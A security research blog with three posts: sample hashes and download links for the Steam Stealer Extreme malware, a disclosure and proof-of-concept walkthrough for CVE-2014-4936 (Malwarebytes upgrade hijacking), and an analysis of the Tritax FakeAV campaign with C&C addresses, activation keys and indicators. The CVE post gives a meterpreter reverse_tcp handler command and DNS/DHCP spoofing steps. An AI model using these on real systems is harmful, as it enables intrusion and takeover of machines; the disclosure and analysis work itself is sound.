This show's 'LaPanthere' is an Australian guy. I won't go any further into this person's identity as I'm not here to make personal allegations against someone. All I am going to say about it is that this person is rather sloppy with what he's leaving behind as a trail. Finding out 'LaPanthere''s real identity is not that hard and only a few steps away from what I've shown. I would expect a bit more from someone running a service like this, but keeping in mind his public profile(s) are on hackforums and leakforums it says enough :). As for the 'Steam Stealer Extreme' malware going around, just don't start running everything being send to you via chat messages or comments. Would you have your items stolen send a message to the Valve support staff explaining your situation, they will be able to help you out. Detection wise, Antivirus products are still somewhat behind on detecting this one properly but its getting there (slowly). All the samples I've shown are available for download from Malwr, see the next section for details and links to all the files, enjoy!

Steam Stealer Extreme samples:

Note: These are not all the Steam Stealer Extreme samples out there. These are just the ones I found when focusing on find out what they were and where it came from back in November through December 2014.

File name: Cracked SSE Builder.exe File size: 363.5 KB ( 372224 bytes ) First seen: 2014-11-25 MD5: 38569912bdd5e0f9d13d5e8b2c00800c SHA1: f153bf9d850f396e30f507d526a7a365ef93bdfd SHA256: 700c38b312e1404b5d488767e1f45171848af00d4232cf9c2338e76e7648eb59 ssdeep: 6144:ODrM4scvXCPGrLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhxd:ODr/sGXoT/dEWP3GxtJw4Mp VirusTotal: https://www.virustotal.com/en/file/700c38b312e1404b5d488767e1f45171848af00d4232cf9c2338e76e7648eb59/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/MWNkYWQwYmRjZGQ3NGUyNWJmZDY5ODA2YTgwOTQ3Nzc/

File name: CSGO Hack v1 - Coded by Empathy.exe File size: 355.0 KB ( 363520 bytes ) First seen: 2014-12-03 MD5: 99fd0d39b96009cd17a343d36e3f6c75 SHA1: 107090152ec18240064b035181a7a5220b7152d0 SHA256: 7b660ed6ecbe98591802d6547f75f133434e92f45fa4bd5b4b4053f2975ba050 ssdeep: 6144:45oNxrSsfjLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhxIkEFMa:4+NbC/dEWP3GxtJw4MfE VirusTotal: https://www.virustotal.com/en/file/7b660ed6ecbe98591802d6547f75f133434e92f45fa4bd5b4b4053f2975ba050/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/YmEzYzBkOWNmYWIyNGEwZjgyOGYyMTdhMDljNGFjOGQ/

File name: CSGO Multi-Hack by LionHacks.exe File size: 499.0 KB ( 510976 bytes ) First seen: 2014-11-26 MD5: b1b8915930cd72ef8fac0b449b13f966 SHA1: 040461f0a9b1be066158caa50a21ae9d58a07e89 SHA256: 3508518052ff500ac1d4e4e72dea79844b38660178f45c41ecfe47fc9abcc339 ssdeep: 6144:0ZQel9dgZgdLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhxgL6ceixULxr9TBvctzF6WI:0ZQcdI1/dEWP3GxtJw4MApxuzkt0yij VirusTotal: https://www.virustotal.com/en/file/3508518052ff500ac1d4e4e72dea79844b38660178f45c41ecfe47fc9abcc339/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/ZWM1NTcxYWYwOWIwNDhlZGEwNTdjNWQzMWJlNTA4NDI/

File name: CsgoSound.exe File size: 282.2 KB ( 289002 bytes ) First seen: 2014-12-03 MD5: 4928ed30b0f9eee8078baa74dd0d7729 SHA1: 9b2689a6236d172499aa6019bf99c74dccb169e0 SHA256: 642a51ef3844cfe8389bf41b288ed42ce1c10998de142c5a4529929ed3d35e2c ssdeep: 6144:L0fzV71SinbLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhxwIkI:gzjS/dEWP3GxtJw4MEq VirusTotal: https://www.virustotal.com/en/file/642a51ef3844cfe8389bf41b288ed42ce1c10998de142c5a4529929ed3d35e2c/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/NjFkY2Q2OGM4OTBiNDNlNjhjMmMzYTY3Nzg0NmM5MDI/

File name: Easy Trader.exe File size: 445.0 KB ( 455680 bytes ) First seen: 2014-11-20 MD5: 4e29168df760a5577e61d0b6e9e05704 SHA1: 8f323230d114800d6aadc3dfa1abf045030ddc43 SHA256: b81fe9ec92388484fa5a8542aaa5f9206e50871f664158a3734d891b1e325147 ssdeep: 6144:uwAArfLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhx8mMbxuszfkOffcXF+cOr+9lPF:g/dEWP3GxtJw4MNMbxjdffgj VirusTotal: https://www.virustotal.com/en/file/b81fe9ec92388484fa5a8542aaa5f9206e50871f664158a3734d891b1e325147/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/MjM4NWNmMWI2YTg3NDdiMTgxYjcwYWJiOTc0MGUxYWU/

File name: ESAntiCheat.exe File size: 257.5 KB ( 263680 bytes ) First seen: 2014-11-25 MD5: 65a3f03dc222ae27cb38cf5ef737f92d SHA1: ebc1c3e230afa07b40a49b037a3e349907e04fa0 SHA256: f3abc0a2eaf9128833722e6db6c7e34b7228345a983991ba165f5eecb59d5141 ssdeep: 6144:RTfzI+RCaduLCrLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhx:RTblEB3/dEWP3GxtJw4M VirusTotal: https://www.virustotal.com/en/file/f3abc0a2eaf9128833722e6db6c7e34b7228345a983991ba165f5eecb59d5141/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/MzBiMDJlYmEwNTkwNDE0MDliMjdmNTdhMDcyZTRjOGE/

File name: HashChanger.exe File size: 544.0 KB ( 557056 bytes ) First seen: 2014-11-23 MD5: 732f303f34afa01e16fe3fc67a4e88ee SHA1: 7e26ddbf6e223ca17ffb9dd62831b5588ccd9b0d SHA256: c5e77e7b716c52bdd674e21e921d6b4a0bf09f5fd8d019c5e9e1835045124b65 ssdeep: 12288:58srPC/lUx539N3dPysQvxcRy1uvdy2jZZJAmnI/v:51b4qTzFDQvx65w2ymI VirusTotal: https://www.virustotal.com/en/file/c5e77e7b716c52bdd674e21e921d6b4a0bf09f5fd8d019c5e9e1835045124b65/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/MTllYWE2NzM4NWYwNGE1M2IyZDkxNjJmNjk2NjZmZmM/

File name: Knife Exploit.exe File size: 444.0 KB ( 454656 bytes ) First seen: 2014-11-29 MD5: 22d1eb7f6536b3873318ef143b11982b SHA1: 13514fcf49b5e40fbec16cff58ab328b70d1e9f0 SHA256: 87f9c7b0e3a00c3240be1a578c5340bd433182209df2ff8a9bae9f51f9c4d74a ssdeep: 6144:dnylhPXVLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhxl+WA1hzu8UYh:lyV0/dEWP3GxtJw4MR+Fr VirusTotal: https://www.virustotal.com/en/file/87f9c7b0e3a00c3240be1a578c5340bd433182209df2ff8a9bae9f51f9c4d74a/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/YWIyMGY0OWZhNTUyNDVjY2EyYjgxNTE1MmEzNDgzNDg/

File name: SSBuilder.exe File size: 619.0 KB ( 633856 bytes ) First seen: 2014-11-29 MD5: aad6c525784c7e9ede917c1d57fbf9fa SHA1: ede0c60b18ce52b6e50f7d18c3eccb27109cf79c SHA256: b2a1bfdc72a0b92b6ea510c98f2954ea94ecbab81eee13a7db379afb330c9d28 ssdeep: 6144:pXIa5sZuZTLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhxD4rrDBUYyMDEwk:pr5ssM/dEWP3GxtJw4MC VirusTotal: https://www.virustotal.com/en/file/b2a1bfdc72a0b92b6ea510c98f2954ea94ecbab81eee13a7db379afb330c9d28/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/NzgyYWNhN2I1ZjM4NGUwMDgzYTRkNjViNmYxYWMyOWI/ File name: SSE_Stealer_76561197960568995.exe File size: 253.0 KB ( 259072 bytes ) First seen: 2014-11-21 MD5: 05738a9c72ecea220dd668068b0d4a12 SHA1: 9d77843aaf9372cfb27978dd6c1034f77325edac SHA256: 3668b53bcb4f9031e585f58f01b638f2afe5e9e128a63994ee05e77a0f5e2ff4 ssdeep: 6144:tnFRpTJrYEYpsEzLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhx:tnFRpTJ1Y8/dEWP3GxtJw4M VirusTotal: https://www.virustotal.com/en/file/3668b53bcb4f9031e585f58f01b638f2afe5e9e128a63994ee05e77a0f5e2ff4/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/ZTBhNjBjZjc5NWUxNDdiYTg3YzE2Yjc5YjlhNWE2MTc/ File name: Steam Inventory Stealer - Builder.exe File size: 443.0 KB ( 453632 bytes ) First seen: 2014-11-21 MD5: 2f8b66e5ca6f4d569b05f7ebf9b41457 SHA1: b30351911491fcf8809c1e469c80f393c506ef1d SHA256: 4f6c96c12f72fbf6095fd8484f985d244d61b2153644430736e2d854790e644a ssdeep: 6144:v83x+y+eLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhx4MWwblGwsPtIGacnW:vx7/dEWP3GxtJw4McpgDsPrakW VirusTotal: https://www.virustotal.com/en/file/4f6c96c12f72fbf6095fd8484f985d244d61b2153644430736e2d854790e644a/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/MTQzMGIzYWNhYWYyNGNlNGI3NGM3ZTk0MTQ5ODkxOGY/ File name: SteamTradeHacker-v.3.6.exe File size: 257.0 KB ( 263168 bytes ) First seen: 2014-11-22 MD5: e834f7a3c508f24e29caf336e27d408d SHA1: 8874a35610d391a493f21618a01d79976f6a2ba5 SHA256: 737d7ac17382252ce0f7bf185e54675d42568057c23917d58189c1b8c0065478 ssdeep: 6144:GYLZOFDdMbLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhx:5ZCp/dEWP3GxtJw4M VirusTotal: https://www.virustotal.com/en/file/737d7ac17382252ce0f7bf185e54675d42568057c23917d58189c1b8c0065478/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/YjBmMGU5OWY2NTczNDZlNGIzYzE1MDYzYTAxY2ZjYjY/ File name: Stub.exe File size: 354.5 KB ( 363008 bytes ) First seen: 2014-11-29 MD5: dc88276de2ad28c7af2578e7f691b285 SHA1: 17bd2037abcc9a248cfb3e991be3e6e73bcfad18 SHA256: 4016e2a60be405e610245db9a87c807354c51db557a49103520f69b280f338dc ssdeep: 6144:DIqY6P0o2WU0dLq/dEWPSWpNJ+ulGtfxqr6WB4F+tbhxtq4i3:cqYjocZ/dEWP3GxtJw4Mxq1 VirusTotal: https://www.virustotal.com/en/file/4016e2a60be405e610245db9a87c807354c51db557a49103520f69b280f338dc/analysis/ Malwr (Downloadable sample): https://malwr.com/analysis/N2YxZDU3M2M1YzdkNDIzOGE2Mjk3ZjQ0MGM3YjYwYjY/

[0x3a]

CVE-2014-4936: Malwarebytes Anti-Malware and Anti-Exploit upgrade hijacking

In June of this year I was playing around with Malwarebytes's products. I blogged about one of their products, Malwarebytes Anti-Malware, before when it had some issues; you can read that blog entry [ here ].

While playing around with Anti-Malware I discovered you could easily hijack the upgrade mechanism. After figuring out the protocol I could push my own upgrades. I reported this to Malwarebytes on July 16th, it got a CVE assigned: CVE-2014-4936.

About half a month later, around the time Malwarebytes had released their Anti-Exploit product Beta I started to play around with this one as well. I discovered it was subject to the same upgrade hijacking method.

Both vulnerabilities were scaled under one CVE, it was a shared mechanism (and code). Officially the description for this CVE has become:

Malwarebytes Anti-Malware in consumer version 2.0.2 and earlier and Malwarebytes Anti-Exploit in consumer version 1.03 and earlier allow attackers to execute arbitrary code by hijacking the underlying network layer or DNS infrastructure between the client PC and the Malwarebytes Content Delivery Network (CDN). Corporate versions are not affected.

One thing to note is that consumer versions of MBAM and MBAE are affected by this. Business versions of the products do not use the Malwarebytes CDN for upgrades.

This blog entry describes the vulnerability, how it works and how you can perform the attack including a POC. Code for the POC is hosted on my Github repository: [ CVE-2014-4936 POC ]

Timeline:

Malwarebytes Anti-Malware

Vulnerability discovered: June 18th 2014

Vulnerability reported: July 16th 2014

Vulnerability fixed in version 2.0.3 released on October 3rd 2014

Malwarebytes Anti-Exploit

Vulnerablity discovered: August 19th 2014

Vulnerability reported: August 21st 2014

Vulnerability fixed in version 1.04.1.1012 released on September 5th 2014

The vulnerability

Both Anti-Malware and Anti-Exploit have upgrade capabilities through the form of HTTP transfered installation packages. Both software packages have no or limited upgrade validation implemented thus allowing anyone who can work out the upgrade protocol to inject their own payload.

Updates and Upgrades

When the software, either MBAM or MBAE, starts it will first resolve the Malwarebytes CDN: 192.168.2.102 -> 8.8.8.8 (DNS) Standard query A data-cdn.mbamupdates.com

For MBAM it will start checking versions of the following:

Consumer config

Consumer news

Consumer versioncheck

Consumer HTML

Signature database

Program upgrades

If any of the version requests respond with a higher number than the client itself has it will start downloading a partial or full update/upgrade. For the program upgrading it will download an installer for the latest version.

We are interested in the program upgrade as we can use this to, with ease, send malicious payloads without having to go into any advanced exploitation techniques. The client will start by sending a version request:

In the version request the User-Agent of the client shows the version (red underlined in the top section), the client has version 1.60.1.1000. The server responds by telling the client version 1.75.0.1300 (red underlined in the bottom section) is the latest available. The client will then proceed by downloading this file by making a request to the CDN once more:

The installation is downloaded and the installer for the new version starts.

The problem here lies with the fact that the MBAM client does not verify the actual installer it downloads. It can be whatever arbitrary Windows PE the server gives back. This is combined with the fact that MBAM starts the new client installer with full administrative privileges. Similar implementation and the same problem occurs for MBAE as well, payloads are unchecked and executed with full administrative privileges with Malwarebytes's protection uninstalled.

This process is the same for MBAE although the request is a little bit different. MBAM makes the following 2 requests for the version check followed by the upgrade download:

GET http://data-cdn.mbamupdates.com/v0/program/mbam.check.program HTTP/1.1 GET http://data-cdn.mbamupdates.com/v0/program/data/mbam-setup-<new version>.exe HTTP/1.1

MBAE makes the following requests:

GET http://data-cdn.mbamupdates.com/v2/mbae/consumer/version.chk HTTP/1.1 GET http://data-cdn.mbamupdates.com/v2/mbae/consumer/data/mbae-setup-<new version>.exe

Hijacking the upgrades, exploiting the vulnerability

I have the following setup:

2 VM's in host only network adapter mode:

Windows XP running an old MBAM version 1.60.1.1000

Kali Linux running my MBAM CDN simulation python script

To exploit the client and to prove the vulnerability we need to intercept the DNS requests for the data-cdn.mbamupdates.com. We can have a few options:

Change the DNS adapter settings to resolve DNS with my Kali system which can do redirection

Use the Windows host file to override DNS

Grab ettercap in Kali and spoof towards the client to get DNS redirected.

To show the POC in a more 'natural' environment I chose the 3rd option. I'm going to show the vulnerability by performing a DHCP spoofing attack. There are of course other methods of attacking, you just need to be able to control the DNS of the client. Let's start:

First we setup both clients running side by side, we put the two VM's in host only adapter mode. On the Windows XP machine we install the old MBAM version, I took the oldest MBAM installer I had, version 1.60.1.1000:

On Kali we also have to start the Malwarebytes CDN simulator, you can get this script from the Github repository [ here ]. The simulator doesn't need any arguments, you can just run it by typing python Malwarebytes-CDN-Simulator-CVE-2014-4936.py:

Some older versions of MBAM (1.46 for example) follow an older upgrade pattern, although the vulnerability also exists for these versions the provided Malwarebytes CDN simulator only works for MBAM since version 1.60.1.xxx. Older version will crash during the upgrade. You could adapt the POC to work for this version as well, its a matter of changing the URL's it looks at.

One thing you have to make sure of is that you throw your payload in the working directory of the CDN simulator and name it 'payload.exe' in order to be picked up and send to the upgrading clients. For this attack we'll generate a meterpreter payload, we're running Kali which has Metasploit installed already. We can quickly generate a PE payload from the commandline, in this example I use the meterpreter payload:

msfcli multi/handler payload=windows/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=4444 E

Note: Rapid7 published a post regarding the deprecation of msfpayload. This means in the future this payload has to be generated slightly different. Read more on the change here: [ Good-bye msfpayload and msfencode ]

The handler will start and listen for incoming connections:

Our reverse handler is now ready to receive incoming connections from our meterpreter payload, we can now start our attack.

Next thing we need to do is get DNS requests from the Windows XP machine redirected towards the Kali machine so it can be intercepted. We do this by grabbing Ettercap, in my case I grab Ettercap Graphical so I can visually show the attack in steps here. Lets open up Ettercap and start by setting it in unified sniffing mode, the difference from bridged mode is that in unified mode we just sniff all packets that pass on the interface, in bridged mode it will use two network interfaces and forward traffic from one to the other and perform a mitm attack. In our case we will do a DNS 'mitm' attack but we dont need bridged mode.

After opening up unified mode the menu will change:

Now its time to select our target, fom the Hosts menu open up the host list and then hit Scan for hosts. A list of hosts in the current connected network will appear, in my case there are 2:

The Windows XP machine (192.168.56.102)

The host running the virtual machines (192.168.56.1)

We select the target, the Windows XP machine with IP 192.168.56.102 and hit the 'Add to Target 1' button to select it. You can view the targets by clicking the Current Targets button under the Targets menu option to see if the machine was selected. Now we have to enable the DNS spoofing, Ettercap does have a plugin called 'dns_spoof' but I choose to use dnslib's intercept server. Its part of the DNSLib python library. Setting up is a single command:

python -m dnslib.intercept -p 53 -a 192.168.56.103 -i '* IN A 192.168.56.103'

Here we setup our listener on port 53 and bind to address 192.168.56.103 and intercept any request (* for the wildcard) and respond to it with the 192.168.56.103 IP. This means we will grab any request, you can also specify it a bit better by only responding for data-cdn.mbamupdates.com and *.data-cdn.mbamupdates.com but for ease I chose to intercept everything and route it to the Kali machine.

We now can start our attack. Open up the Mitm menu option and click on Dhcp spoofing. We will spoof DHCP towards the Windows XP client so we can force our own DNS server in the DNS server settings. On the DHCP Spoofing popup we leave the IP Pool field empty, enter 255.255.255.0 in the Netmask field and put our own IP (192.168.56.103) in the DNS Server IP field to enforce the Kali host to be the DNS server for the Windows XP machine.

After entering the options hit the 'OK' button to start the attack. In the status log we can see Ettercap is starting the attack.

After we've started the DHCP spoofing we need to wait for the DHCP lease (or force it on the client itself) to renew so Ettercap can spoof it. After a bit Ettercap will log the DHCP request and its response to it:

DHCP: [08:00:27:2F:56:97] REQUEST 192.168.56.102 DHCP spoofing: fake ACK [08:00:27:2F:56:97] assigned to 192.168.56.102 DHCP: [192.168.56.103] ACK : 192.168.56.102 255.255.255.0 GW 192.168.56.103 DNS 192.168.56.103

On the client we can now check the IPconfig settings to check for our spoofed DNS server:

What we have to do now is either wait for the MBAM client on the Windows machine to contact the server for upgrades automatically or enforce it by hitting the Check for Updates button on the Update tab in the MBAM GUI.

On the Malwarebytes CDN script terminal we can see the client contacted us and has downloaded the payload:

root@kali:~/mbam_upgrade# python Malwarebytes-CDN-Simulator-CVE-2014-4936.py Started Malwarebytes CDN simulator. [+] Attempt for URI: /v1/news/consumer/version.chk 192.168.56.102 - - [07/Oct/2014 15:43:49] "GET /v1/news/consumer/version.chk HTTP/1.1" 200 - [+] Attempt for URI: /v1/custom/consumer/version.chk 192.168.56.102 - - [07/Oct/2014 15:43:49] "GET /v1/custom/consumer/version.chk HTTP/1.1" 200 - [+] Attempt for URI: /v1/database/rules/version.chk 192.168.56.102 - - [07/Oct/2014 15:43:49] "GET /v1/database/rules/version.chk HTTP/1.1" 200 - 192.168.56.102 - - [07/Oct/2014 15:43:49] "GET /v0/program/mbam.check.program HTTP/1.1" 200 - [+] MBAM Client program version check: Client version 1.60.1.1000, enforced update version 2.60.1.1000 192.168.56.102 - - [07/Oct/2014 15:43:49] "GET /v0/program/data/mbam-setup-2.60.1.1000.exe HTTP/1.1" 200 - [+] MBAM Client payload download.

On the Windows machine we see MBAM telling us a new version is available:

If we accept and run the upgrade installer we see MBAM dissapear and nothing happens. Now if you check back with the meterpreter handler we see the client has connected back to us:

And due to how the upgrade works, the old MBAM install will execute the 'installer' with full administrative privileges as you can see by typing getuid:

We have successfully injected our payload into the upgrade process of MBAM. We have taken over the Windows XP machine by abusing the vulnerability. The same process can be used to takeover MBAE clients, the only difference is the checkin URLs but the Malwarebytes CDN simulator script already takes care of it, enjoy!

[0x3a]

Analysis of the Tritax FakeAV family, their active campaign and the FakeAV social engineering kit

This time I'm diving into an active FakeAV campaign, I've named it the NameChanger FakeAV, it falls under the Tritax family. Now why I named it the namechanger, just take a look the following image composed of screenshots of all the different samples:

Update (27-2-2014): Updated the end of the article with a list of domains and IP's seen in the past 2 months. Tritax is still active and distributing.

Update (20-3-2014): After sinkholing and taking down  the domains actively with the help of some friends it seems the Tritax actors gave up. The TDS's stopped redirecting and no new domains are being registered, taking action against this campaign was successful!

Some time ago a friend, @VriesHd, pointed out a FakeAV spreading via businessinsider.com: http://urlquery.net/report.php?id=8495695 Not long after this, a similar thing happened to DailyMotion.com. A writeup for that was done by invincea: http://www.invincea.com/2014/01/dailymotion-com-redirects-to-fake-av-threat/ Skype advertisement has also been affected by the campaign: http://community.skype.com/t5/Security-Privacy-Trust-and/Skype-ads-in-rotation-have-been-compromised-and-contain-Malware/td-p/2894251

More recently the same campaign was seen by @Malekal redirecting via PopAds delivered advertisement: https://twitter.com/malekal_morte/status/426394544414793728 and another finding: https://twitter.com/malekal_morte/status/430050149650292736 David Jacoby from Securelist also published an article after Tritax started spreading via one of the largest websites in Sweden: http://www.securelist.com/en/blog/208216070/Largest_Website_in_Sweden_Spreading_Malicious_Code

The Tritax family has been around for a long time, the first sample of it was seen around may 2009. The current campaign drops a sample I have named NameChanger.C as its the third FakeAV type from this family that is constantly being repackaged with new names. I'll start of with an analysis of the current version of the FakeAV, after this I'll go into the family, third will be the new FakeAV social engineering kit this group is using with their current campaign. I'll end with a section which is a hashdump of all the samples I've been scraping from their backend.

Analysis

This sample drops from a specialized social engineering kit for FakeAV's, I'll get into details about this later. The name for this version is "Windows Accelerator Pro", MD5: 0a0fd6b228e1edb56067c86304c15861 (VT: 20/48).

It initially installs itself in the usual startup location, the keyname for these samples are "GuardSoftware":

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]

"GuardSoftware"="C:\\Documents and Settings\\admin\\Application Data\\guard-hqxl.exe"

The filename is formatted as "guard-%s.exe", as can be seen when running the sample through OllyDBG in the image below. Since the 1st or 2nd of February samples are now formatted as "svc-%s.exe".

After the sample has installed itself it will force a reboot in order to make sure no other analysis tools are started. When its first ran (before the reboot) it will show a splashscreen:

Once the machine has rebooted it will show the usual fake scanning with detection of infected items:

Once completed the user gets a listing of all the affected files:

When you attempt to clear up the infections by hitting "Remove All" we get a message regarding activation. You cannot clean up until you active the product:

Before we activate the 'product' lets have a look around at what it 'can' do for us:

All of course are unavailable to us unless we activate. When enabling one of the options we get the same "Activate" popup. There's also an about section in the 'product':

Besides the fake scanning and available options it will also show a variety of fake warning messages:

Some more aggressive warnings appear from time to time as well:

We are also, like usual with FakeAV's, not allowed to start any applications because they are 'infected':

It also warns us that we are torrenting and that downloading pirated material is a felony:

When we click the "Get anonymous connection" button we go back to the activation form again. When we hit the "Activate" button we are greeted by a payment form:

The form is retrieved by starting the Microsoft HTA client:

mshta.exe "http://93.115.82.249/?0=16&1=0&2=9&3=p&4=2600&5=1&6=1111&7=byuqshgtbm"

This is the C&C for this FakeAV, all subsequent traffic from this sample will go towards this IP. Now if we go to the "Register" section we can 'activate' the product:

We do need a valid key for this one. The key for this sample is:

1W111-111B1-11T11-E1121

Note: If you have any old infections from before July 2012 the key is "0W000-000B0-00T00-E0020"

When we enter the correct key we are allowed to activate:

As soon as we hit the "Register" button we are taken back to the scan results page and it will start 'cleaning' up the infections:

Now if we look at the application it has all turned green and all 'functionality' is available to us:

The about form is also updated with the activation date and serial:

The application stores the activation data in the registry like this:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Settings]

"UID"="lthsidoaat"

"net"="2014-1-9_3"

"Config"=hex:de,07,01,00,<truncated>

The "Config" key holds the activation key as well:

This FakeAV has inbuilt translations for German, French and Spanish:

I've seen the following IP's for the C&C's in samples dating from November 2013 until February 2013:

93.115.82.249

93.115.82.248

93.115.86.197

Interesting fact; These guys have been using a valid license for ASProtect for many of their payloads. This makes analyzing and reversing a bit harder, especially unpacking the samples.

The Family

The FakeAV family that was spreading here is called 'Tritax'. It has been around for a very long time and @S!Ri has been writing about variants of this family for a long time. A big thank you to him for sharing some of the older samples of this family with me to get the timeline correct. You can follow his FakeAV findings here: http://siri-urz.blogspot.fr/

The first sample appeared around may 2009, it was called "Crusader Antivirus":

This one displayed the usual fake warnings and fake scanning like we see now:

This FakeAV was meant to look like the AGAVA Antispy application which was a legit application. Crusader mimicked most of the GUI of Antispy:

This first sample is in fact where the "Tritax" name comes from, on the about dialog a company was described as "TRITAX Limited":

The samples for this one, MD5: 301b4ca82a0dc6931562e9b322ceb7c1

The 2nd installment of the family was called "SecretService", this one has had 2 versions:

After the SecretService version, "Privacy Center" and "Safety Center" popped up:

After those we were greeted by "Privacy Center" and "Control Center":

Now we are greeted with the first NameChanger variant, I've named it NameChanger.A. It first appeared in December 2010. It has been seen with the following names:

The GUI has had a few changes but the general look stayed the same. A few samples:

After variant A, the B variant: NameChanger.B appeared in May 2011. It has had the following names:

And looked the same in every sample, only the name constantly changed:

And in February 2012 the first version of our NameChanger.C appread, it was named 'Windows Protection Manager'.

This shows how long this group has been active, 2009 until now. Their current campaign is still really active and spreading new versions of NameChanger.C. It seems they have now got a good setup going with the special FakeAV Kit. The full list of used names so far for NameChanger.C:

The Social Engineering Kit

I encountered the first sample when being redirected from the Businessinsider website. While initially it seemed like a one-off I found out this is an actual package like you would normally see with exploit kits. In this case it relies on social engineering. When landing on this kit a user is greeted with a javascript alert message:

Then a page which shows a fake message from Microsoft Security Essentials. The message lists a number of items that are supposedly infected:

When clicking the "Clean computer" message the user is prompted with a download with names like "Setup.exe" or "Install.exe". This is when the user downloads the FakeAV and manually runs it. This way it looks believable that an Antivirus suddenly comes up talking about infections on your computer. I have found different FakeAV family campaigns using this Kit, the only one I have seen being updated on the landing page is the one for the Tritax group. Initially the landing page looked like this:

Around the 10th of January it suddenly changed the JavaScript on the landing page to a crypted version.

A week later on the 17th of January the landing changed again, only this time the crypted JavaScript snippets were put in external files called "scr1.js" and "scr2.js". Landing page code:

During this time the DNS for the landing of the Tritax group is always on a subdomein, this is either 'b2811a66', 'c3913c6c', 'e324rfds', 'wed322d2', '5c4e4143' or '90d6bc5a'. Of course this will change from time to time, it just means the main domain never points to the landing server, its always a subdomain. Additionally the domains used by this group are registered at registrars allowing for domain tasting (5-day testing period, free!). The domains rotate every so few days. The first registar I saw them appear was Domeny.pl, they are current being tasted at Key-Systems GmbH. These are the stats in terms of TLD's I have seen:

106 pw

76 nl

30 pl

15 com

Here is a full list of all the domains used in the period of 1st of January 2014 until the 25th of January 2014.

These domains used custom nameservers, @vriesHD has done his best taking these down for the past months. The IP's I've seen used in this campaigns landing pages are:

93.115.82.246

93.115.82.247

93.115.86.199

212.83.137.239

212.83.138.29

212.83.138.30

212.83.155.45

The following domains have been seen for the custom nameservers:

dsfe1.com

dsfe2.com

svav1.com

svav2.com

stav1.com

stav2.com

isavx.com

isavh.com

ispav.com

ispax.com

Additionally to advertisment and spam mail spreading these guys have also compromised a large number of websites. All websites compromised are Wordpress websites. A malicious PHP file was uploaded after exploitation. This file gives redirects to domains listed above (and the new ones still being generated). These pages respond with:

window.top.location.replace(" ***tritax campaignlanding page*** ");

They can usually be spotted when websites have javascript snippets loaded like:

<script src="/wp-includes/js/jquery/jquery.php"></script>

The full list of websites affected (some of them have already cleaned up or have gone offline):

Collected DNS information from January -> February 2014

Collected Samples

0a0fd6b228e1edb56067c86304c15861

0abef2a618af86b7c27f19754de5dc3c

0ade368af65cafd73f08e19b2af85800

0e6e98a3c6527289f396da6dfcb7899c

1af1d51dc0bab20dc512a605fa1be254

1bd8f6edfe5ad4271429f0ad65dbbd6f

2d0f14e457c75e0751222c4bb90471a5

3df70e48759b4826b0a73e7abb782e1a

3e43dc32f1cd1781b9f7279f0762c48f

4a7d65b2cacd51f84738f40bc07eea2e

5b8a310fb26860f51414215f89873d23

5c34f06db8d71a3d484be278334d0f14

5c322b58f3e51f421eb140afdf0e04ba

5c31648fa4199ff1f0f93e33694879c1

5cbd34232c6122ce903469ea2819212e

6c2e32561c4f844cbb9a569ddf4c4038

7de4fa2dfdf8904dd0597aec4ee27015

7fe9e91d7706040e785da4bf234d48b5

8a19ae166a49b3ed7a992cd61ee39628

8fbb7b9404be93bb30b15c0d5513e9d4

13ddf46e92ff69066e1fa68d4b626e29

25c14951ec23c07431dfefcba5c79f3e

26d49b556fa7f0d93cc731d09a0f8d29

28a48d8e09e370f5cf8aace75a786d1e

30f710fa6af9270d4fc6b7a1d1005831

43d47f4eda1a5476bc75a52377abe6a0

51c587544160b257e0b77c180a1ba7dd

058e1330e9953e8d118fc3f52e7eee4f

71d4acfb6bcedcd3ed7404f829c79ea2

73d3851ea76bd995b954eb515067798a

74cfcccd521b35042c5bb8d5a8f74343

080f82dabd12c22fff6afe8f1bf3ad58

82b2457a30a89cd8dd410f0ac5b921db

130a700487c5b33e7ac70372228a51f8

654b80e7b2ce9e6d64e6e5c12441012b

0843d3f431c14f8d41b0512054e61593

909b2ad2c7aa696c55f6c807540d0952

1079cd33d8e8f74332f30ecb77a6c9e9

1747a8e8c77ce0ea749329e5afbba19c

02406a507f11d46b49d19390596ee42e

6851dd06287f9b548e4ef72435e2a9a0

6882a85807346ca2cf503ba1887332cb

8363f92f1d25a43da5ca400eeefee1ec

9563bdafe6e73a8ca651ae6ad4579d74

13205bf4be128c003431935b4af762d6

45076d6934c6161b251fbb87f733ad9b

67666f0e0e8b0c6f8f308b5c4c2987fb

67974d787e0c2d2bafdd7aa90c7b25cf

71428dcaaa56d79c11d2736422f9c347

79899d66ad2648031cff4a5314681556

283598f111f4b916fce48da7dfcc45b4

1177662b09d8ce2d69e3ffb06bf8fd04

14154062ee29285cfca1d6436e32b3f7

43057773ef82d70ec45f2fde78ad5085

a8a77f5658fca6af63f6b471f95ac97a

a18a40f79e638a7cc026ec3763517007

a65eac3f22cd1dfc946b9ead4ee3391f

a78bbcfe4164ca1c73795a29fefa8e2b

aa31efe360f9f0f8b70e98d1d1713415

ac0fa7e460193c92e8615d6f0fea5fe1

ae9df388dba9fb606007f3834989c050

b1e1707a11464235d18973bfbe452aea

b5a520599bfb491ec76e9a7afa9e00d6

b6d2ebbb3fbb04c535cebf719582cb1f

b134aa623451322a8dd987f14ef5a9a9

b704ece37db35fc302983caf88ba21af

